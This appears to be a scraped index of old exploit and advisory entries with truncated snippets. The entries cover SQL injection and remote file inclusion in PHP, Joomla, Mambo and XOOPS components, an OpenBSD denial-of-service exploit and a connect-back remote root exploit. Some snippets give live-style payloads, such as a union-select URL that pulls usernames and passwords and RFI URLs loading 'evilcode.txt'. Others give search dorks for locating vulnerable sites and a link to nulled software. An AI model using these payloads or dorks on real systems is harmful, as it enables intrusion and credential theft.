Social Site Generator 2.0 - 'sgc_id' SQL Injection

Application Name : Social Site Generator DeMo : www.ssgdemo.com Download : http://rapidshare.com/files/118424866/Social.Site.Generator.v2.iAG.Nulled.rar Vulnerable Type : SQL InJeCtiOn Dork 1 : displayblog.php Dork 2 : socialmyprofiledownload Dork 3 : socialforumsubcategories author : DeAr Ev!L...

Netbutikker 4 - SQL Injection

Netbutikker 4 - SQL Injection Viva Islam rEm0te SQL Injection Vulnerability netbutik V1 index.php id Script Name : Netbutik Download : www.simpelside.dk Version : version 1 , 2 , 3 ,4 AuTh0r : Mr.SQL H0ME : WwW.PaL-HaCkEr.CoM Email : [email protected] Note This script have 4 version on demo and user...

Kostenloses Linkmanagementscript - Remote File Inclusion

Kostenloses Linkmanagementscript - Remote File Inclusion Remote File Inclusion Vulnerability Kostenloses Linkmanagementscript Author : HaCkeREgY C0NTACT : [email protected] H^OME : www.PAL-HaCkeR.com & ATSDP.COM Scripte Name : Kostenloses Linkmanagementscript download scripte :...

joomla "com_omnirealestate" S@L Injection

AUTHOR : S@BUN HOME : http://www.hackturkiye.com/ dork 2= allinurl: "comomnirealestate" index.php?option=comomnirealestate&Itemid=0&func=showObject&info=contact&objid=-9999//union//select//username,password//from//mosusers/&results=S@BUN...

AIX 530005 : U808615

The remote host is missing AIX PTF U808615 which is related to the security of the package devices.vdevice.IBM.l-lan.rte You should install this PTF for your system to be up-to-date. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. if ! definedfunc"bnrandom" exit0;...

Mambo Component Sermon 0.2 (gid) SQL Injection Vulnerability

No description provided by source. netadvantist@copyright 2006 SQL Injectioncomnaxxx AUTHOR : S@BUN HOME : http://www.hackturkiye.com DORKS 1 : allinurl:"comnacontent" DORK 2 : allinurl:"comnabible" DORKS 3 : allinurl:"comnaevents" DORKS 4 : allinurl:"comnacontent" DORKS 5 :...

Mambo Component Sermon 0.2 - gid SQL Injection

Mambo Component Sermon 0.2 - gid SQL Injection netadvantist@copyright 2006 SQL Injectioncomnaxxx AUTHOR : S@BUN HOME : http://www.hackturkiye.com DORKS 1 : allinurl:"comnacontent" DORK 2 : allinurl:"comnabible" DORKS 3 : allinurl:"comnaevents" DORKS 4 : allinurl:"comnacontent" DORKS 5 :...

Mambo Component Sermon 0.2 - 'gid' SQL Injection

netadvantist@copyright 2006 SQL Injectioncomnaxxx AUTHOR : S@BUN HOME : http://www.hackturkiye.com DORKS 1 : allinurl:"comnacontent" DORK 2 : allinurl:"comnabible" DORKS 3 : allinurl:"comnaevents" DORKS 4 : allinurl:"comnacontent" DORKS 5 : allinurl:"comnafeedback" DORKS 6 : allinurl:"comnamydocs...

OpenBSD 4.2 - rtlabel_id2name() Local Null Pointer Dereference Denial of Service

OpenBSD 4.2 - rtlabelid2name Local Null Pointer Dereference Denial of Service / OpenBSD 4.2 rtlabelid2name SIOCGIFRTLABEL ioctl Null Pointer Dereference local Denial of Service Exploit by Hunger Advisory: http://marc.info/?l=openbsd-security-announce&m=120007327504064 FOR TESTING PURPOSES ONLY! $...

sing pinging utility privilege escalation

-L parameter allow to ovewrite files...

Joomla! Component Flash Uploader 2.5.1 - Remote File Inclusion

Joomla! Component Flash Uploader 2.5.1 - Remote File Inclusion -------------------------------------------- = = = Mdx c 2007 = = = -------------------------------------------- = = =Joomla comjoomlaflashuploader Remote File Include 2.5.1,2.5.2 = = ============================================ = =...

helplink010-rfi.txt

Helplink 0.1.0 show.php file Remote File Inclusion Vulnerability D.S : http://sourceforge.net/projects/helplink/ V.C ================================show.php================================= 01 : ========================================================================= POC : /show.php?file=Ev!L C...

Unfixed XSS vulnerability at l-i-e.com

Security researcher zuppergazi, has submitted on 08/03/2007 a cross-site-scripting XSS vulnerability affecting l-i-e.com, which at the time of submission ranked 5909566 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 08/03/2007. It is currently...

XOOPS Module XFsection (modify.php) Remote File Inclusion Vulnerability

No description provided by source. XOOPS Module XFsection Remote File Inclusion version: 1.07 source : http://prdownloads.sourceforge.net/xoops/xoops2-modxfsection-107.zip Discovered by SpLo1T from hTTp://hacking.3Xforum.Ro Bug :...

XOOPS Module XFsection - modify.php Remote File Inclusion

XOOPS Module XFsection - modify.php Remote File Inclusion XOOPS Module XFsection Remote File Inclusion version: 1.07 source : http://prdownloads.sourceforge.net/xoops/xoops2-modxfsection-107.zip Discovered by SpLo1T from hTTp://hacking.3Xforum.Ro Bug :...

xoopstc-rfi.txt

XOOPS Module TinyContent Remote File Inclusion version: 1.5 source: http://prdownloads.sourceforge.net/xoops/xoops2-mod-tinycontent15.zip Discovered by SpLo1T from hTTP://hacking.3Xforum.Ro BUG: http://www.site.com/modules/tinycontent/admin/spaw/spawcontrol.class.php?spawroot=evilcode.txt? Vuln...

XOOPS Module TinyContent 1.5 Remote File Inclusion Vulnerability

No description provided by source. XOOPS Module TinyContent Remote File Inclusion version: 1.5 source: http://prdownloads.sourceforge.net/xoops/xoops2-mod-tinycontent15.zip Discovered by SpLo1T from hTTP://hacking.3Xforum.Ro BUG:...

webdesproxy 0.0.1 - exec-shield GET Remote Code Execution

webdesproxy 0.0.1 - exec-shield GET Remote Code Execution / Fedora Core 6 exec-shield based Webdesproxy webdesproxy-0.0.1.tgz remote root exploit reverse connect-back method by Xpl017Elz Advanced exploitation in exec-shield Fedora Core case study URL:...

Code injection

inc/filebrowser/browser.php in deV!Lz Clanportal DZCP 1.4.5 and earlier allows remote attackers to obtain MySQL data via the inc/mysql.php value of the file parameter...

CVE-2007-1167

CVE-2007-1167 affects deV!L`z Clanportal (DZCP) prior to or including 1.4.5. The issue resides in inc/filebrowser/browser.php, where an attacker can trigger information disclosure by using the inc/mysql.php value of the file parameter, allowing remote retrieval of MySQL data. This is a remote, un...